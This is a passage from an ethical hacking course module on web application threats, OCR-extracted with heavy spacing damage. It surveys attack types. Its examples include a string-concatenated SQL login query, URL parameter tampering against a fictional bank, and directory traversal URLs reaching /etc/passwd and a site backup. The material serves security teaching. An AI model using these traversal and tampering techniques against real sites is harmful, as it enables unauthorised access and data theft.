w  a ccess  t o  c o m p u te r  o r  n e t w o r k  re s o u rc e s  in  o r d e r  to  d e l iv e r  a n  

a t ta c k  p a y lo a d  o r  c a u s e  a m a lic io u s  o u tc o m e

A tta c k  v e c to rs  in c lu d e  p a r a m e te r  m a n ip u la t io n ,  X M L  p o is o n in g ,  

c l ie n t  v a l id a t io n ,  s e rv e r  m is c o n f ig u r a t io n ,  w e b  s e rv ic e  r o u t in g  

is s u e s , a n d  c ro s s -s ite  s c r ip t in g

S e c u r ity  c o n t r o ls  n e e d  to  b e  u p d a te d  c o n t in u o u s ly  as th e  a t ta c k  

v e c to rs  k e e p  c h a n g in g  w it h  re s p e c t  t o  a ta r g e t  o f  a t ta c k

C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

W e b  A t t a c k  V e c t o r s

An a ttack vec to r is a m ethod  o f en te ring  in to  to  una u th o rize d  systems to  pe rfo rm ing  
m alic ious attacks. Once the  a ttacker gains access in to  the  system or the  n e tw o rk  he o r she 
delivers an a ttack payload or causes a m a lic ious ou tcom e. No p ro te c tio n  m ethod  is com p le te ly  
a tta c k -p ro o f as a tta ck  vec to rs  keep changing and evo lv ing w ith  new techno log ica l changes.

Examples o f va rious  types o f a tta ck  vec to rs :

© P aram ete r m a n ip u la tio n : P roviding the  w rong  inpu t value to  the  w eb services by the  
a ttacke r and gain ing the  con tro l over the  SQL, LDAP, XPATH, and shell com m ands. 
W hen the  inco rrec t values are p rovided to  the  w eb services, then  th e y  becom e 
vu lne rab le  and are easily a ttacked by w eb app lica tions runn ing  w ith  w eb services.

0 XM L po ison ing : A ttackers p rov ide  m an ipu la ted  XML docum ents th a t w hen executed can 
d is tu rb  the  logic o f parsing m ethod  on the  server. W hen huge XMLs are executed at the  
app lica tion  layer, then  th e y  can be easily be com prom ised by the  a ttacke r to  launch his 
o r her a ttack and ga ther in fo rm a tio n .

© C lien t v a lid a tio n : M ost c lien t-s ide  va lida tion  has to  be supported  by server-side 
au then tica tion . The AJAX rou tines can be easily m an ipu la ted , w h ich in tu rn  makes a way 
fo r  a ttackers to  handle SQL in jec tion , LDAP in jec tion , etc. and nego tia te  the  w eb 
app lica tion 's  key resources.
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0 Server M isconfigura tion: The a ttacke r exp lo its  the  vu lne rab ilitie s  in the  w eb servers and 
tries  to  break the  va lida tion  m ethods to  get access to  the  c o n fid e n tia l da ta  stored on 
the  servers.

0 W eb service rou ting  issues: The SOAP messages are pe rm itte d  to  access d iffe re n t nodes 
on th e  In te rn e t by the  W S-Routers. The exp lo ited  in te rm e d ia te  nodes can give access to  
the  SOAP messages th a t are com m unica ted  be tw een tw o  endpo in ts .

0  Cross-site scripting: W henever any in fected  JavaScript code is executed, then  the  
ta rge ted  brow sers can be exp lo ited  to  ga the r in fo rm a tio n  by the  attacker.
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C o p y r ig h t © by  E&Coinal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

־ ־ ^  M o d u l e  F l o w

W eb app lica tions are ta rge ted  by attackers fo r  various reasons. The firs t issue is 
q ua lity  o f the  source code as re la ted to  security  is poor and ano the r issue is an app lica tion  w ith  
"co m p le x  se tu p ." Due to  these loopho les , a ttackers can easily launch attacks by e xp lo itin g  
them . Now  w e w ill discuss the  th rea ts  associated w ith  w eb app lica tions.

 ̂ Web App Pen Testing Web App Concepts

m Security Tools W eb A pp  Threats

J k  Countermeasures e־־־s Hacking Methodology
1S>

Web Application Hacking Tools
B#
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This section lists and explains th e  various w eb app lica tion  th re a ts  such as p a ra m e te r/fo rm  
tam pering , in jec tion  attacks, cross-site scrip ting  attacks, DoS attacks, session fixa tio n  attacks, 
im p ro p e r e rro r handling, etc.
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W e b  A p p l i c a t i o n  T h r e a t s  1 ־  C E H
UrtiM Itkml Mstkm

B ro k e n  A c c o u n t 

M a n a g e m e n t

In fo rm a t io n

L eakage

Im p ro p e r  

E rro r H a n d lin gS to ra g e

C oo k ie

P o is o n in g

Cop> ■ight © by  EC -Cauac il. A l l  R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

W e b  A p p l i c a t i o n  T h r e a t s - 1

W eb app lica tion  th rea ts  are no t lim ited  to  a ttacks based on URL and port80 . Despite 
using ports, p ro toco ls, and the  OSI layer, the  in te g rity  o f m iss ion-critica l app lica tions m ust be 
p ro tec ted  fro m  possible fu tu re  attacks. Vendors w ho  w a n t to  p ro te c t th e ir  p roducts ' 
app lica tions m ust be able to  deal w ith  all m ethods o f attack.

The various types o f w eb app lica tion  th rea ts  are as fo llow s :

C o o k i e  P o i s o n i n g

By changing the  in fo rm a tio n  inside th e  cookie, a ttackers bypass the  a u th e n tic a tio n  
process and once they  gain con tro l over the  ne tw o rk , they  can e ith e r m od ify  the  

con ten t, use the  system fo r  the  m alic ious attack, o r steal in fo rm a tio n  fro m  the  user's system.

D i r e c t o r y  T r a v e r s a l

A ttackers e x p lo it HTTP by using d ire c to ry  trave rsa l and th e y  w ill be able to  access 
res tric ted  d irecto ries; th e y  execute com m ands ou ts ide  o f the  w eb server's roo t 

d irec to ry .

U n v a l i d a t e d  I n p u t

In o rde r to  bypass the  security  system , a ttackers ta m p e r w ith  the  h ttp  requests, URL, 
headers, fo rm  fie lds, h idden fie lds, query strings etc. Users' login IDs and o th e r re la ted

Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil
All Rights Reserved. Reproduction is Strictly Prohibited.

Module 13 Page 1750



Exam 312-50 C ertified  Ethical HackerEthical Hacking and C ounterm easures
Hacking Web Applications

data gets stored in th e  cookies and th is  becom es a source o f a ttack fo r  the  in truders . A ttackers 
gain access to  the  v ic tim 's  system  using the  in fo rm a tio n  p resent in cookies. Examples o f attacks 
caused by u n va lid a te d  in p u t include SQL in jec tion , cross-site scrip ting  (XSS), b u ffe r overflow s, 

etc.

C r o s s - s i t e  S c r i p t i n g  (X S S )

" i T f  An a ttacke r bypasses th e  c lien ts  ID security  m echanism  and gains access p riv ileges, and 
then  in jects m alic ious scripts in to  th e  w eb pages o f a pa rticu la r w ebsite . These m alic ious scripts 
can even re w rite  the  HTML co n te n t o f the  w ebsite .

I n j e c t i o n  F l a w s

In jection  flaw s are w eb app lica tion  vu lne rab ilitie s  th a t a llow  un trus ted  data to  be 

in te rp re te d  and executed as pa rt o f a com m and or query.

S Q L  I n j e c t i o n

This is a type  o f a ttack w here  SQL com m ands are in jected by the  a ttacke r via inpu t 
data; then  the  a ttacke r can ta m p e r w ith  th e  data.

P a r a m e t e r / F o r m  T a m p e r i n g

a
This type  o f tam pe ring  a ttack is in tended  to  m an ipu la ting  the  param eters exchanged 

be tw een c lien t and server in o rde r to  m o d ify  app lica tion  data, such as user c reden tia ls  
and perm issions, price and q u a n tity  o f products, etc. This in fo rm a tio n  is actua lly  s tored in 
cookies, h idden fo rm  fie lds, o r URL Q uery Strings, and is used to  increase app lica tion  
fu n c tio n a lity  and c o n tro l. M an in the  m idd le  is one o f the  exam ples fo r  th is  type  o f a ttack. 
A ttackers use too ls  like W eb scarab and Paros p roxy  fo r  these attacks.

D e n i a l - o f - S e r v i c e  ( D o S )
M | | M  '  '

t__ i__ A den ia l-o f-se rv ice  a ttack is an a ttack ing  m ethod  in tended  to  te rm in a te  the
opera tions  o f a w ebsite  o r a server and make it unavailable to  in tended  users. For 

instance, a w ebsite  re la ted to  a bank o r em ail service is no t able to  fu n c tio n  fo r  a fe w  hours to  a 
fe w  days. This results in loss o f t im e  and m oney.

B r o k e n  A c c e s s  C o n t r o l

Broken access con tro l is a m ethod  used by a ttackers w here  a pa rticu la r f la w  has been 
id e n tifie d  re la ted to  the  access con tro l, w here  a u th e n tic a tio n  is bypassed and the  

a ttacke r com prom ises the  ne tw ork .

VA /// C r o s s - s i t e  R e q u e s t  F o r g e r y

The cross-site request fo rge ry  m ethod  is a kind o f a ttack w here  an au then tica ted  user 
in m ade to  pe rfo rm  certa in  tasks on the  w eb app lica tion  th a t an a ttackers chooses. For 
exam ple, a user clicking on a pa rticu la r link sent th rough  an em ail o r chat.

I n f o r m a t i o n  L e a k a g e

In fo rm a tio n  leakage can cause great losses fo r  a com pany. Hence, all sources such as
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systems or o th e r n e tw o rk  resources m ust be p ro tec ted  fro m  in fo rm a tio n  leakage by em ploy ing  
p rope r co n te n t f ilte r in g  m echanism s.

I m p r o p e r  E r r o r  H a n d l i n g

It is necessary to  define  how  the  system or n e tw o rk  should behave w hen an e rro r 
occurs. O therw ise, it may prov ide  a chance fo r  the  a ttacke r to  break in to  the  system. 

Im prope r e rro r handling may lead to  DoS attacks.

L o g  T a m p e r i n g

Logs are m a in ta ined  by w eb app lica tions to  track  usage pa tte rns  such as user login 
credentia ls , adm in login credentia ls , etc. A ttackers usually in ject, de le te , o r ta m p e r 

w ith  w eb app lica tion  logs so th a t th e y  can pe rfo rm  m alic ious actions o r hide th e ir  iden tities .

B u f f e r  O v e r f l o w

A w eb app lica tion 's  b u ffe r o ve rflo w  vu ln e ra b ility  occurs w hen it fa ils to  guard its 
b u ffe r p rope rly  and allows w r it in g  beyond its m axim um  size.

B r o k e n  S e s s io n  M a n a g e m e n t

W hen security-sensitive  credentia ls  such as passwords and o th e r useful m ate ria l are 
no t p rope rly  taken care, these types o f attacks occur. A ttackers com prom ise  the  

credentia ls  th rough  these security  vu lne rab ilitie s .

S e c u r i t y  M i s c o n f i g u r a t i o n

Developers and n e tw o rk  a d m in is tra to rs  should check th a t the  e n tire  stack is 
con figured  p rope rly  o r security  m iscon figu ra tion  can happen at any level o f an 

app lica tion  stack, inc lud ing the  p la tfo rm , w eb server, app lica tion  server, fram ew ork , and 
custom  code. M issing patches, m isconfigura tions, use o f d e fa u lt accounts, etc. can be de tected  
w ith  the  help o f au tom a ted  scanners th a t a ttackers e xp lo it to  com prom ise  w eb app lica tion  
security.

B r o k e n  A c c o u n t  M a n a g e m e n t

----------  Even au th e n tica tio n  schemes th a t are valid are w eakened because o f vu lnerab le
account m anagem ent func tions  inc lud ing  account update , fo rg o tte n  o r lost password recovery 
o r reset, password changes, and o th e r s im ila r functions.

I n s e c u r e  S t o r a g e

W eb app lica tions need to  store  sensitive in fo rm a tio n  such as passwords, c re d it card 
num bers, account records, o r o th e r au th e n tica tio n  in fo rm a tio n  som ew here ; possibly 

in a database or on a file  system. If p rope r security  is no t m a in ta ined  fo r  these storage 
locations, then  the  w eb app lica tion  m ay be at risk as attackers can access th e  storage and 
misuse the  in fo rm a tio n  s tored. Insecure storage o f keys, certifica tes , and passwords a llow  the  
a ttacke r to  gain access to  the  w eb app lica tion  as a le g itim a te  user.
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W e b  A p p l i c a t i o n  T h r e a t s  ■ 2 C E H
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C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

W e b  A p p l i c a t i o n  T h r e a t s 2 ־

P l a t f o r m  E x p l o i t s

Various w eb app lica tions are b u ilt on by using d iffe re n t p la tfo rm s such as BEA W eb logic and 
ColdFusion. Each p la tfo rm  has various vu lne rab ilitie s  and exp lo its  associated w ith  it.

in I n s e c u r e  D i r e c t  O b j e c t  R e f e r e n c e s

§ W hen various in te rn a l im p le m e n ta tio n  ob jects such as file , d irec to ry , database 
record, o r key are exposed th rough  a re ference by a deve loper, then  the  insecure d irec t ob ject 
re ference takes place.

For exam ple, w here  a bank account num ber is m ade a p rim ary  key, then  th e re  is a good change 
it can be com prom ised by the  a ttacke r based on such references.

I n s e c u r e  C r y p t o g r a p h i c  S t o r a g e

W hen sensitive data has been sto red  in th e  database, it has to  be p rope rly  encryp ted  
using cryp tography. A fe w  c ryp to g ra p h ic  encryp tion  m ethods developed by developers are no t 
up to  par. C ryp tograph ica lly  very strong  encryp tion  m ethods have to  be used. A t the  same tim e , 
care m ust be taken to  store the  cryp tograph ic  keys. If these keys are sto red  in insecure places, 
then  th e  a ttacke r can ob ta in  them  easily and decryp t the  sensitive data.
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A u t h e n t i c a t i o n  H i j a c k i n g

In o rde r to  id e n tify  the  user, every w eb app lica tion  uses user id e n tifica tio n  such as a 
user ID and password. Once the  a ttacke r com prom ises the  system, various m alic ious 

th ings like th e ft  o f services, session h ijacking, and user im persona tion  can occur.

N e t w o r k  A c c e s s  A t t a c k s

fill 11 = N e tw o rk  access attacks can m a jo rly  im pact w eb app lica tions. These can have an e ffec t 
on basic level o f services w ith in  an app lica tion  and can a llow  access th a t standard HTTP 

app lica tion  m ethods w ou ld  no t have access to .

C o o k i e  S n o o p i n g

=  A ttackers use cookie  snoop ing  on a v ic tim 's  system to  analyze th e ir  surfing  habits and 
sell th a t in fo rm a tio n  to  o th e r a ttackers o r may use th is  in fo rm a tio n  to  launch various 

attacks on the  v ic tim 's  w eb app lica tions.

W e b  S e r v i c e s  A t t a c k s

W eb services are process-to-process com m un ica tions  th a t have special security  issues 
and needs. An a ttacke r in jects a m alic ious scrip t in to  a w eb service and is able to  

disclose and m od ify  app lica tion  data.

- ^  I n s u f f i c i e n t  T r a n s p o r t  L a y e r  P r o t e c t i o n

SSL/TLS au then tica tions  should be used fo r  a u th e n tica tio n  on w ebsites o r the  a ttacker 
can m o n ito r n e tw o rk  tra ff ic  to  steal an au then tica ted  user's session cookie.

Various th rea ts  such as account th e ft, phishing attacks, and adm in accounts may happen a fte r 
systems are being com prom ised.

r ״  H i d d e n  M a n i p u l a t i o n
I

These types o f attacks are m ostly  used by attackers to  com prom ise  e-com m erce 
websites. A ttackers m an ipu la te  the  h idden  fie ld s  and change the  data stored in them . Several 
on line  stores face th is  type  o f p rob lem  every day. A ttackers can a lte r prices and conclude 
transactions w ith  the  prices o f th e ir  choice.

D M Z  P r o t o c o l  A t t a c k s

The DMZ (D em ilita rized  Zone) is a sem i-trus ted  n e tw o rk  zone th a t separates the  
un trus ted  In te rn e t fro m  th e  com pany's trus ted  in te rna l ne tw ork . An a ttacke r w ho  is able to  
com prom ise  a system th a t a llow s o th e r DMZ p ro toco ls  has access to  o th e r DMZs and in te rna l 

systems. This level o f access can lead to :

© Com prom ise o f the  w eb app lica tion  and data

Q D efacem ent o f w ebsites

© Access to  in te rna l systems, inc lud ing databases, backups, and source code
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U n v a l i d a t e d  R e d i r e c t s  a n d  F o r w a r d s

_____ A ttackers make a v ic tim  click an unva lida ted  link th a t appears to  be a valid site. Such
red irects  may a tte m p t to  insta ll m a lw are  o r tr ic k  v ic tim s  in to  d isclosing passwords o r 

o th e r sensitive in fo rm a tio n . Unsafe fo rw a rds  m ay a llow  access con tro l bypass leading to :

0  Session fixa tio n  attacks

© Security m anagem ent exp lo its

0 Failure to  res tric t URL access

e M alic ious file  execution

F a i l u r e  t o  R e s t r i c t  U R L  A c c e s s

An app ica tion  o ften  safeguards o r p ro te c ts  sensitive fu n c tio n a lity  and prevents the
displays o f links o r URLs fo r  p ro tec tion . A ttackers access those links o r URLs d ire c tly  

and pe rfo rm  ille g itim a te  opera tions.

O b f u s c a t i o n  A p p l i c a t i o n

A ttackers usually w o rk  hard at h id ing  th e ir  a ttacks and to  avoid de tec tion . N e tw ork  
and host in trus ion  d e tec tion  systems (IDSs) are constan tly  looking fo r  signs o f w e ll- 

know n attacks, d riv ing  a ttackers to  seek d iffe re n t ways to  rem ain unde tec ted . The m ost 
com m on m ethod  o f a ttack ob fusca tion  involves encoding po rtions  o f the  a ttack w ith  Unicode, 
UTF-8, o r URL encoding. Unicode is a m ethod  o f rep resen ting  le tte rs , num bers, and special 
characters so these characters can be displayed p roperly , regardless o f the  app lica tion  or 
underly ing  p la tfo rm  in w h ich  th e y  are used.

S e c u r i t y  M a n a g e m e n t  E x p l o i t s

Some a ttackers ta rg e t security  m anagem ent systems, e ith e r on ne tw orks  o r on the  
app lica tion  layer, in o rde r to  m od ify  o r disable security  en fo rcem en t. An a ttacker w ho 

exp lo its  security  m anagem ent can d ire c tly  m od ify  p ro te c tio n  po lic ies, de le te  existing policies, 
add new  policies, and m od ify  app lica tions, system data, and resources.

__ L *  S e s s io n  F i x a t i o n  A t t a c k

______  In a session fixa tio n  attack, the  a ttacke r tricks o r a ttrac ts  the  user to  access a
leg itim a te  w eb server using an exp lic it session ID value.

M a l i c i o u s  F i l e  E x e c u t i o n

___ M alic ious file  execu tion  vu lne rab ilitie s  had been found  on m ost app lica tions. The
cause o f th is  vu ln e ra b ility  is because o f unchecked in p u t in to  th e  w eb server. Due to  

th is  unchecked inpu t, the  files o f a ttackers are easily executed and processed on the  w eb 
server. In add ition , the  a ttacke r pe rfo rm s re m o te  code execu tion , insta lls the  ro o tk it rem ote ly , 
and in a t least som e cases, takes com p le te  con tro l over the  systems.
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C E HU n v a l i d a t e d  I n p u t

An attacker explo its inp u t va lida tion  flaw s to  

p e rfo rm  cross-site  scrip ting , b u ffe r overflow , 
in jection  a ttacks, etc. th a t resu lt in data 
th e f t  and system  m a lfu n c tio n in g

D a ta b a s e

• B row ser in pu t not
• va lida ted by th e  w eb
: app lica tion

s t r i n g  s q l — ,,s e l e c t  * from  U se r s
w here
u s e r י =  "  + U se r . T e x t יי י + 
and pwd= י״ + P a s s w o r d .T e x t ״ +  ! « r

In p u t va lida tion  flaw s refers to  a w eb  application 

vu ln e ra b ility  w he re  in p u t fro m  a c lie n t is n o t 

va lid a te d  befo re  being processed by w eb 
applications and backend servers

Boy.com

h t t p : / / j u g g y b o y . c o m / l o g i n . a s p x  
? u s e r = j a s o n s 0 p a s s = s p r x n g f i e l d

M o d ifie d  Q ueryB row se r Post Request

C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

U n v a l i d a t e d  I n p u t

An in p u t va lid a tio n  f la w  refers to  a w eb app lica tion  vu ln e ra b ility  w he re  inpu t fro m  a 
c lien t is no t va lida ted  befo re  being processed by w eb app lica tions and backend servers. Sites 
try  to  p ro te c t them selves fro m  m alic ious attacks th rough  in p u t f iltra t io n , bu t th e re  are various 
m ethods p reva iling  fo r  the  the  purpose o f encoding. M any h ttp  inpu ts  have m u ltip le  fo rm a ts  
th a t make filte r in g  very d iff ic u lt. The canon ica liza tion  m ethod  is used to  s im p lify  the  encodings 
and is useful in avo id ing various vu lne rab le  attacks. W eb app lica tions use on ly a c lien t-s ide  
m echanism  in in p u t va lida tion  and a ttackers can easily bypass it. In o rd e r to  bypass the  security  
system , attackers ta m p e r the  h ttp  requests, URLs, headers, fo rm  fie lds, h idden fie lds, and query 
strings. Users׳ login IDs and o th e r re la ted data gets stored in the  cookies and th is  becom es a 
source o f a ttack fo r  in truders . A ttackers gain access to  the  system s by using the  in fo rm a tio n  
p resent in the  cookies. Various m ethods used by hackers are SQL in jec tion , cross-site scrip ting  
(XSS), b u ffe r overflow s, fo rm a t s tring  attacks, SQL in jec tion , cookie poisoning, and h idden fie ld  
m an ipu la tion  th a t resu lt in data th e ft  and system m a lfunc tion ing .
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h t t p : / / ju g g y b o y . c o m / l o g i n . a s p x  
? u s e r = ja s o n s @ p a s s = s p r i n g f ie ld

D a ta b a s e

: B row ser in pu t not 
: va lida ted by th e  w eb 
: app lica tion

s t r i n g  s q l — ,,s e l e c t  * from  U se r s
Wtmmrnmr* w here

u s e r  = ' ” + U s e r .T e x t ״ +  '
an d  pw d=1״ + P a s s w o r d .T e x t  + " ' "r

M o d if ie d  Q u e ryB ro w se r Post R equest

F ig u re  1 3 .5 : U n v a l id a te d  In p u t
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P a r a m e t e r / F o r m  T a m p e r i n g

ו

C E H
Urtifwd tlfcxjl lUthM

J  A  w eb  param ete r tam pering  attack involves the  m a n ip u la tio n  o f pa ram e te rs  exchanged between ______ . -  -  .
c lien t and server in o rde r to  m o d ify  app lication  data such as user credentia ls and perm issions, 
price, and q u a n tity  o f  products 

J  A  param eter tam pering  attack e x p lo its  vu ln e ra b ilit ie s  in in teg rity  and logic va lida tion  mechanisms 
th a t may resu lt in XSS, SQL in jection, etc.

C o p y r ig h t © by  E&Coinal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

P a r a m e t e r / F o r m  T a m p e r i n g
r- • ח ייי■

  Param eter tam pe ring  is a sim ple fo rm  o f a ttack a im ed d irec tly  a t the  app lica tion 's  
business logic. This a ttack takes advantage o f the  fac t th a t m any program m ers re ly on h idden 
or fixed fie lds (such as a h idden tag in a fo rm  o r a pa ram ete r in an URL) as the  on ly  security  
m easure fo r  certa in  opera tions. To bypass th is  security  m echanism , an a ttacker can change 
these param eters.

D e ta iled  D escrip tion

Serving the  requested files is the  m ain fu n c tio n  o f w eb servers. During a w eb session, 
param eters are exchanged be tw een th e  w eb b row ser and the  w eb app lica tion  in o rde r 

to  m a in ta in  in fo rm a tio n  abou t the  c lien t's  session, w h ich  e lim ina tes the  need to  m a in ta in  a 
com plex database on the  server side. URL queries, fo rm  fie lds, and cookies are used to  pass the  
param eters.

Changed param eters in the  fo rm  fie ld  are the  best exam ple o f p a ra m e te r ta m p e rin g . W hen a 
user selects an HTML page, it is s tored as a fo rm  fie ld  value, and trans fe rred  as an HTTP page to  
the  w eb app lica tion . These values may be pre-se lected (com bo box, check box, rad io  bu ttons, 
etc.), free  tex t, o r h idden. An a ttacke r can m an ipu la te  these values. In som e extrem e cases, it is 
ju s t like saving th e  page, ed iting  the  HTML, and re load ing  th e  page in the  w eb brow ser.

0 (D ®  1
|  http://www.juggybank.com/cust.asp?profile=21&debit=2500 < ........J■• T a m p e rin g  w ith  th e  | 

URL p a ra m e te rs  1
0 @ ®  1

|  http://www.juggybank.com/cust.asp?profile=82&debtt=lSOO < ........J•■1...... .........

|  http://www.juggybank.com/stat.asp?pg=531&status=view < .........
O th e r  p a ra m e te rs  can  

b e  ch a n g e d  in c lu d in g  

a t t r ib u te  p a ra m e te rs

0 © ®

|  http://www.juggybank.com/stat.asp?pg-147&status־ delete < • • • •
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Hidden fie lds th a t are invis ib le  to  the  end user p rov ide  in fo rm a tio n  status to  the  w eb 
app lica tion . For exam ple, consider a p roduc t o rd e r fo rm  th a t includes the  h idden fie ld  as 
fo llow s :

< in p u t  ty p e = "h id d e n "  n a m e = "p r ic e "  v a lu e = " 9 9 . 90">

Com bo boxes, check boxes, and rad io  bu ttons  are exam ples o f pre-se lected param eters  used to  
tra n s fe r in fo rm a tio n  be tw een d iffe re n t pages, w h ile  a llow ing  the  user to  select one o f several 
p rede fined  values. In a pa ram e te r tam p e rin g  a ttack, an a ttacke r may m an ipu la te  these values. 
For exam ple, consider a fo rm  th a t includes th e  com bo box as fo llow s:

<FORM METHOD=POST A C TIO N ="xfe rM oney . a s p ״ >

S ource  A c c o u n t: <SELECT NAME="SrcAcc">

<OPTION VALUE=" 1 2 3 4 5 6 7 8 9 "> * * * * * *7 8 9</OPTION>

<OPTION V A LU E ="868686868"> ******868< /O P T IO N X /S E LE C T >

<BR>Amount: <INPUT NAME="Amount" SIZE=20>

< B R > D e s tin a tio n  A c c o u n t: <INPUT NAME="DestAcc" SIZE=40>

<BRXINPUT TYPE=SUBMIT> <INPUT TYPE=RESET>

</FORM>

Bypassing

An a ttacke r m ay bypass the  need to  choose be tw een tw o  accounts by adding ano the r account 
in to  the  HTML page source code. The new  com bo box is d isplayed in the  w eb b row ser and the  
a ttacke r can choose the  new  account.

HTML fo rm s subm it th e ir  results using one o f tw o  m ethods: GET or POST. In the  GET m ethod, 
all fo rm  param eters and th e ir  values appear in the  query string  o f the  next URL, w h ich the  user 
sees. An a ttacker may ta m p e r w ith  th is  query string. For exam ple, consider a w eb page th a t 
a llow s an au then tica ted  user to  select one o f his o r her accounts fro m  a com bo box and deb it 
the  account w ith  a fixed u n it am ount. W hen the  subm it b u tto n  is pressed in the  w eb brow ser, 
the  URL is requested as fo llow s :

h ttp ://w w w .iu g g vb a n k .co m /cu s t.a sp ? p ro file = 2 1 & d e b it= 2 5 0 0

An a ttacke r may change the  URL param eters (p ro file  and deb it) in o rd e r to  d e b it ano the r 
account:

h ttp ://w w w .iu g g yb a n k .co m /cu s t.a sp ? p ro file = 8 2 & d e b it= 1 5 0 0

There are o th e r URL param eters th a t an a ttacker can m od ify , inc lud ing  a ttr ib u te  param eters 
and in te rna l m odules. A ttr ib u te  param eters are un ique param eters th a t characterize the  
behavio r o f the  up load ing page. For exam ple, consider a con ten t-sha ring  w eb app lica tion  th a t 
enables th e  co n te n t c rea to r to  m od ify  con ten t, w h ile  o th e r users can on ly  v iew  the  con ten t. 
The w eb server checks w h e th e r the  user w ho  is accessing an e n try  is the  a u tho r o r no t (usually 
by cookie). An o rd ina ry  user w ill request the  fo llo w in g  link:

h ttp ://w w w .iugg ybank .com /s ta t.asp?p g= 531& s ta tus= v ie w
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An a ttacke r can m od ify  the  status pa ram e te r to de״  le te in o ״ rde r to  de le te  perm ission fo r  the  
con ten t.

h ttp ://w w w .iugg ybank .com /s ta t.asp?p g= 147& s ta tus= d e le te

P a ram e te r/fo rm  tam pe ring  can lead to  th e ft  o f services, escalation o f access, session hijacking, 
and assum ing the  id e n tity  o f o th e r users as w e ll as param eters  a llow ing  access to  deve loper 
and debugging in fo rm a tio n .

T a m p e r in g  w i t h  t h e  U RL 

p a ra m e te rs

O th e r  p a r a m e te r s  c a n  b e  

c h a n g e d  in c lu d in g  a t t r ib u te  

p a ra m e te rs

http://www.juggybank.com/cust. asp?profile=21&debit=2500[GO

http://www.juggybank. com/cust. asp ?profile=82&debit=1500ר

h ttp : / /w w w  .jugg ybank.com /s ta t. asp?pg=531& sta tus=view  <£| GO

hך ttp ://w w w .ju g g yb a n k .co m /s ta t.a sp ? p g = 1 4 7 & s ta tu s= d e le te|QO
FIGURE 13.6: Form Tampering
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D i r e c t o r y  T r a v e r s a l  C E H
C«rt1fW4 itkiul Nm Im

C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

v D i r e c t o r y  T r a v e r s a l

___ W hen access is prov ided  outs ide  a de fined  app lica tion , th e re  exists the  poss ib ility  o f
un in tended  in fo rm a tio n  disclosure o r m od ifica tion . C om plex a pp lica tio ns  exist as app lica tion  
com ponen ts  and data, w h ich are typ ica lly  con figured  in m u ltip le  d irecto ries. An app lica tion  has 
the  a b ility  to  traverse  these m u ltip le  d irec to ries  to  locate and execute the  leg itim a te  po rtions  o f 
an app lica tion . A d ire c to ry  tra ve rsa l/fo rce fu l b row sing a ttack occurs w hen the  a ttacke r is able 
to  browse fo r  d irec to ries  and files ou ts ide  the  norm al app lica tion  access. A D irecto ry  
T raversa l/Forcefu l Browsing a ttack exposes the  d ire c to ry  s tru c tu re  o f an app lica tion , and o ften  
the  underly ing  w eb server and ope ra ting  system . W ith  th is  level o f access to  the  w eb 
app lica tion  a rch itec tu re , an a ttacke r can:

© Enum erate the  con ten ts  o f files and d irec to ries

© Access pages th a t o the rw ise  requ ire  au th e n tica tio n  (and possibly paym ent)

© Gain secret know ledge o f th e  app lica tion  and its construc tion  

© D iscover user IDs and passwords buried in h idden files 

© Locate source code and o th e r in te res ting  files le ft on the  server 

© V iew  sensitive data, such as cus tom er in fo rm a tio n

Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil
All Rights Reserved. Reproduction is Strictly Prohibited.

Module 13 Page 1761



Exam 312-50 Certified Ethical HackerEthical Hacking and Countermeasures
Hacking Web Applications

The fo llo w in g  exam ple uses to  backup several d irec to ries  and ob ta in  a file  con ta in ing  a 
backup o f the  w eb app lica tion :

h ttp ://w w w .ta rg e ts ite .c o m /../../../s ite b a c k u p .z ip

This exam ple ob ta ins the  " /e tc /p a s s w d " file  fro m  a UNIX/Linux system , w h ich  conta ins user 
account in fo rm a tio n :

h ttp ://w w w .ta rg e ts ite .c o m /../ . . / . . / . . /e tc /p a s s w d

Let us consider another example where an attacker tries to  access files located outside the web 
publishing directory using directory traversal:

h ttp ://w w w .iu g g yb o v .co m /p ro ce ss .a sp x= . J . / s o m e  d ir/so m e  file

h ttp ://w w w .iu g g y b o y .c o m /../■ ./../../s o m e  d ir/so m e  file

The pictorial representation o f d ire c to ry  traversa l a ttack is shown as fo llow s:

s
<?php
$ theme — 'Jaoon.php',

J 1 ׳־ * ׳’—״™־״־’יי  ) )
> □c

/../../••/etc/passw d

password files
A t ta c k e r

V u ln e r a b le  S e rv e r  C o d e
ro o t :a 9 8 b 2 4 a  I d 3 e 8 :0 :  l : S y s t e m  O p e ra t o r : / : /b in /k sh  

d a e m o n : * : l: l : : / tm p :

J a s o n :a 3 b 6 9 8 a 7 6 f7 6 d 5 7 .:1 8 2 :1 0 0 :D e v e lo p e r : /h o m e /u s e r s / J a s o n / :/ b in / c s h

FIGURE 1 3 .7 : D ire c to ry  T ra v e rs a l
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S e c u r i t y  M i s c o n f i g u r a t i o n  C E H

Easy Exploitation
Using m isconfiguration vulnerabilities, attackers gain 
unauthorized accesses to  default accounts, read 
unused pages, explo it unpatched flaws, and read o r 
w rite  unprotected files and directories, etc.

Common Prevalence
Security m isconfiguration can occur at any level 
o f an application stack, including the p la tform , 
web server, application server, fram ework, and 
custom code

Example
e The application server admin console is automatically

installed and not removed

Default accounts are not changed
Attacker discovers the standard admin pages on server,
logs in w ith default passwords, and takes over

C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

M  S e c u r i t y  M i s c o n f i g u r a t i o n

' ____ " Developers and n e tw o rk  a d m in is tra to rs  should check th a t the  e n tire  stack is
con figured  p rope rly  o r security  m iscon figu ra tion  can happen at any level o f an app lica tion  
stack, inc lud ing  the  p la tfo rm , w eb server, app lica tion  server, fra m e w o rk , and custom  code. For 
instance, if  the  server is no t con figured  p roperly , then  it results in various prob lem s th a t can 
